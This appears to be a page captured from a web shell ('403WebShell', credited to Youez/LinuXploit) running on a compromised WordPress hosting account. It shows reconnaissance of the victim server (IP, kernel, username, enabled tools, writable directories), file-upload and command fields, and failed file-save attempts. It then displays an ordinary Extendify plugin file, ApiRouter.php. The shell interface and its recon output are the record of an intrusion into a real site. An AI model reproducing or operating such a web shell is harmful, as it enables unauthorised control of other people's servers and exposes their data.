Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.128.201.71
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/app/ApiRouter.php
<?php
/**
 * API router
 */

namespace Extendify;

defined('ABSPATH') || die('No direct access.');

/**
 * Simple router for the REST Endpoints
 */
class ApiRouter extends \WP_REST_Controller
{

    /**
     * The class instance.
     *
     * @var $instance
     */
    protected static $instance = null;


    /**
     * The constructor
     */
    public function __construct()
    {
        \add_filter(
            'rest_request_before_callbacks',
            // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter
            function ($response, $handler, $request) {
                // Add the request to our helper class.
                if ($request->get_header('x_extendify')) {
                    Http::init($request);
                }

                return $response;
            },
            10,
            3
        );
    }

    /**
     * Check the authorization of the request
     *
     * @return boolean
     */
    public function checkPermission()
    {
        // Check for the nonce on the server (used by WP REST).
        if (isset($_SERVER['HTTP_X_WP_NONCE']) && \wp_verify_nonce(sanitize_text_field(wp_unslash($_SERVER['HTTP_X_WP_NONCE'])), 'wp_rest')) {
            return \current_user_can(Config::$requiredCapability);
        }

        return false;
    }

    /**
     * Register dynamic routes
     *
     * @param string   $namespace - The api name space.
     * @param string   $endpoint  - The endpoint.
     * @param function $callback  - The callback to run.
     *
     * @return void
     */
    public function getHandler($namespace, $endpoint, $callback)
    {
        \register_rest_route($namespace, $endpoint, [
            'methods' => 'GET',
            'callback' => $callback,
            'permission_callback' => [$this, 'checkPermission'],
        ]);
    }

    /**
     * The post handler
     *
     * @param string $namespace - The api name space.
     * @param string $endpoint  - The endpoint.
     * @param string $callback  - The callback to run.
     *
     * @return void
     */
    public function postHandler($namespace, $endpoint, $callback)
    {
        \register_rest_route($namespace, $endpoint, [
            'methods' => 'POST',
            'callback' => $callback,
            'permission_callback' => [$this, 'checkPermission'],
        ]);
    }

    /**
     * The caller
     *
     * @param string $name      - The name of the method to call.
     * @param array  $arguments - The arguments to pass in.
     *
     * @return mixed
     */
    public static function __callStatic($name, array $arguments)
    {
        $name = "{$name}Handler";
        if (is_null(self::$instance)) {
            self::$instance = new static();
        }

        $r = self::$instance;
        return $r->$name(Config::$slug . '/' . Config::$apiVersion, ...$arguments);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit